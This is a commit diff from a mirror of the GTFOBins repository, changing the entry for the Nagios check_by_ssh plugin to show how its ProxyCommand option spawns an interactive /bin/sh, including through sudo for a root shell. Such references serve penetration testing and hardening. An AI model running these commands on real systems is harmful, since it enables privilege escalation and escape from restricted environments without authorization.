mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Replace command with shell in check_by_ssh
This commit is contained in:
parent
286775860a
commit
ee8cce63f9
@ -2,20 +2,10 @@
|
|||||||
description: |
|
description: |
|
||||||
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
||||||
functions:
|
functions:
|
||||||
command:
|
shell:
|
||||||
- code: |
|
- description: The shell will only last 10 seconds.
|
||||||
COMMAND=id
|
code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
||||||
OUTPUT=output_file
|
|
||||||
TF=$(mktemp)
|
|
||||||
echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF
|
|
||||||
check_by_ssh -F $TF -H localhost -C something
|
|
||||||
cat $OUTPUT
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: The shell will only last 10 seconds.
|
||||||
COMMAND=id
|
code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
||||||
OUTPUT=output_file
|
|
||||||
TF=$(mktemp)
|
|
||||||
echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF
|
|
||||||
sudo check_by_ssh -F $TF -H localhost -C something
|
|
||||||
cat $OUTPUT
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user